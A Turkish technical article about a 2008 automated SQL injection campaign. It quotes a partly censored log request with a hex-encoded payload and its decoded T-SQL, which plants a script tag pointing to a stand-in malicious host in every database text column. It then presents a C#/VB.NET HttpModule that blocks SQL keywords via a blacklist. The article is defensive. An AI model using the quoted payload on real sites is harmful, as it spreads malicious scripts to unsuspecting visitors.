Makale Özeti

Geçen hafta (15.08.2008) hem klasik ASP hemde ASP.NET sitelerine karşı oldukça fazla ve organize biçimde SQL Injection saldırısı gerçekleştirildi. Bu makalemizde de, bu tarz saldırılara karşı nasıl korunabileceğimize br göz atıyor olacağız.

Makale

SQL Injection Saldırılarına Karşı Alternatif Bir Çözüm

Geçen hafta yeni bir SQL Injection saldırısı başladı ve Cuma akşamından itibaren yüz binlerce site ve sunucu bu saldırılara maruz kaldı. Benim siteminde saldırılardan nasibini aldığı ve sunucu loglarına çok geç ulaşmamdan dolayı bir kaç gün sonra ancak müdahale edebildiğim saldırı hakkında biraz bilgi ve bu gibi saldırılardan nasıl korunabileceğimizi bu makale de göreceğiz.

Sitem çok eski olduğu için bir sayfamda ne parametrik sql, ne de parametrik stored procedure kullanmadığımı ve saldırıların da buradan geldiğini tespit ettim. Saldırı aşağıdaki hexa koduna benzer biçimde uygulanıyor ve web sunucunda rastgele olarak geçerli dosyaları sorguluyor.

sysobjects ve syscolumns tabloları döndürüldüğünde; saldırgan hedefini belirliyor ve makinanın bir MSSQL sunucusu çalıştırdığını belirliyor. Daha sonra da belirledikleri HTML kodunu veritabanına enjekte ediyorlar. Araştırmalarımda, sadece MSSQL değil aynı metot ile Sybase veritabanına da injection uygulayabildiklerini okudum.

Diğer editör ve yazar arkadaşlarımın konu hakkkında birçok makalesi olduğu için SQL Injection konusuna daha fazla değinmiyorum. Bu konu ile ilgili makaleleri yine bu kategorideki makalelerde bulabilirsiniz.

Öncelikle saldırının tespitine bakalım. Sitemin bulunduğu IIS üzerindeki raw loglarını incelediğimde, yukarıda bahsettiğimin eski usül kod ile yazılmış bir sayfamın yanında aşağıdaki gibi bir GET isteği gördüm. Buradaki bazı hexa kodlarını güvenlik gerekçesiyle siliyorum.

GET /XXXtayfunakcayXXX.aspx ';DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524525F4375727626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S);

Bu hexadecimal çıktısı aşağıdaki gibi bir SQL sorgusu üretiyor. Burayı da biraz sansürlüyorum.

DECLARE @@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””>title>script src=”http://www.kotusite.com/sw.js”>cript>!–” NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Bu atak hala birçok siteyi etkileyebiliyor. Benim gibi unuttuğunuz kodlarınız varsa ya da bazı kodlarınızı paremetrik türevlerine çevirmek oldukça iş yükü getirecekse bu makalede anlattığımız çözümü deneyebilirsiniz. Diğer ip bloklama gibi geçici çözümlerden bahsetmeyeceğim. Bunun yanında en iyi çözümün yine parametrik sql ve stored procedure kullanmak olduğunu yine tekrarlayalım.

SQL Injection’a Karşı Kod Yazarak Çözüm

Aşağıdaki VB.NET ve C# kod örnekleri ile adres çubuğundan gelen bir querystring verisinden, bir form ya da cookie verisinden gelen potansiyel SQL Injection saldırılarını engelleyebilirsiniz. Yalnız aşağıdaki kodu ben kendi siteme göre yazdım. Kendi sitemde bilgi girişi olarak sadece numerik veriler aldığımdan dolayı bu kodda geçen filtreler bana uyuyor. Bunu da siz de kendi sitenize göre uyarlayabilirsiniz.

Gelen bütün querystring, form ve cookie değerlerini BeginRequest event i çalıştıran bir kod parçacığı ile karşılayabilirsiniz. Bu tip kodlar HttpModule içerisinde uygulandığında gelen her istekte çalıştırılabilirler. Aşağıdaki kod parçacıklarında HttpModule, App_Code klasöründe tanımlanıyor ve daha sonradan web.config içerisinde register ediliyor. Böylelikle de gelen her bir istekte çalıştırılıyor. Gelen veriyi otomatik olarak kontrol eden kod, filtreye düşen şüpheli bir değer yakaladığında hemen “Hata.htm” dosyasına yönlendiriliyor.

Öncelikle kullandığınız dile göre App_Code klasörünüz altında bir class dosyası oluşturun. Daha sonrada aşağıdaki kodları kullandığınız dile göre dosyaya yapıştırın.

C# Örneğimiz

SQLInjectionFilter.cs

using System;
using System.Data;
using System.Configuration;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Xml.Linq;

/// <summary>
/// Summary description for SQLInjectionFilter
/// </summary>
public class SQLInjectionFilter : IHttpModule
{
    //Burada kontrol edilecek degerleri belirliyoruz. Siz burayi kendi sitenize gore degistirebilirsiniz.
    
    public static string[] blackList = {"--",";--",";","/*","*/","@@","@",
                                           "char","nchar","varchar","nvarchar",
                                           "alter","begin","cast","create","cursor",
                                           "declare","delete","drop","end","exec","execute",
                                           "select", "sys","sysobjects","syscolumns",
                                           "fetch","insert","kill","open",
                                           "table","update"};

    public void Dispose()
    {
        
    }

    //Burada BeginRequest esnasinda calistirilacak kodu yaziyoruz
    public void Init(HttpApplication app)
    {
        app.BeginRequest += new EventHandler(app_BeginRequest);
    }

    //Gelen her istege karşı, tüm querystring, form ve cookie değerlerini kontrol ediyoruz
    void app_BeginRequest(object sender, EventArgs e)
    {
        HttpRequest Request = (sender as HttpApplication).Context.Request;

        foreach (string key in Request.QueryString)
            CheckInput(Request.QueryString[key]);
        foreach (string key in Request.Form)
            CheckInput(Request.Form[key]);
        foreach (string key in Request.Cookies)
            CheckInput(Request.Cookies[key].Value);
    }

    //Burada blackList e gore kontrol islemlerini gerceklestiriyoruz. Hata kontrolunu dilediginiz gibi degistirebilirsiniz
    private void CheckInput(string parameter)
    {
        for (int i = 0; i < blackList.Length; i++)
        {
            if ((parameter.IndexOf(blackList[i], StringComparison.OrdinalIgnoreCase) >= 0))
            {
                //
                //Evet. Burada supheli bir SQL kodu yakaladik. Veee
                //
                HttpContext.Current.Response.Redirect("~/Hata.htm");  //bye byeee
            }
        }
    }


}

VB Örneğimiz

SQLInjectionFilter.vb

Imports Microsoft.VisualBasic

Public Class SQLInjectionFilter
    Implements IHttpModule

    'Burada kontrol edilecek degerleri belirliyoruz. Siz burayi kendi sitenize gore degistirebilirsiniz.
    Public Shared blackList As String() = {"--", ";--", ";", "/*", "*/", "@@", _
                                           "@", "char", "nchar", "varchar", "nvarchar", "alter", _
                                           "begin", "cast", "create", "cursor", "declare", "delete", _
                                           "drop", "end", "exec", "execute", "fetch", "insert", _
                                           "kill", "open", "select", "sys", "sysobjects", "syscolumns", _
                                           "table", "update"}

    Public Sub Dispose() Implements IHttpModule.Dispose

    End Sub

    'Burada BeginRequest esnasinda calistirilacak kodu yaziyoruz
    Public Sub Init(ByVal app As HttpApplication) Implements IHttpModule.Init
        AddHandler app.BeginRequest, AddressOf app_BeginRequest
    End Sub

    'Gelen her istege karşı, tüm querystring, form ve cookie değerlerini kontrol ediyoruz
    Private Sub app_BeginRequest(ByVal sender As Object, ByVal e As EventArgs)
        Dim Request As HttpRequest = TryCast(sender, HttpApplication).Context.Request

        For Each key As String In Request.QueryString
            CheckInput(Request.QueryString(key))
        Next
        For Each key As String In Request.Form
            CheckInput(Request.Form(key))
        Next
        For Each key As String In Request.Cookies
            CheckInput(Request.Cookies(key).Value)
        Next
    End Sub

    'Burada blackList e gore kontrol islemlerini gerceklestiriyoruz. Hata kontrolunu dilediginiz gibi degistirebilirsiniz
    Private Sub CheckInput(ByVal parameter As String)
        For i As Integer = 0 To blackList.Length - 1
            If (parameter.IndexOf(blackList(i), StringComparison.OrdinalIgnoreCase) >= 0) Then
                ' 
                'Evet. Burada supheli bir SQL kodu yakaladik. Veee 
                ' 
                HttpContext.Current.Response.Redirect("~/Hata.htm")
                'bye byeee
            End If
        Next
    End Sub

End Class

Web.Config

En son olarak web config dosyamızda syste.web etiketleri ve httpModules etiketleri arasına aşağıdaki kodu ekleyin.

        ...
        <system.web>
        ...
        <httpModules>
                  ...
            <add name="SQLInjectionFilter" type="SQLInjectionFilter"/>
                  ...
        </httpModules>
        ...
 </system.web>
        ...






Özet

Bu makalede, SQL Injection tehditlerinden kodsal olarak nasıl korunabileceğinizi inceledik ve VB.NET ve C# dillerini kullanarak şüpheli SQL ifadelerini süzgeçten geçiren bir modül hazırladık.

Kaynak:

SQL Injection Attacks on IIS Web Servers
Stop SQL Injection Attacks Before They Stop You
ASCII Encoded/Binary String Automated SQL Injection Attack

Bir sonraki makalelerde görüşmek üzere. İyi çalışmalar...


Tayfun AKCAY

tayfun@tayfunakcay.com


SQLInjectionCSharp Proje Dosyası

SQLInjectionVB Proje Dosyası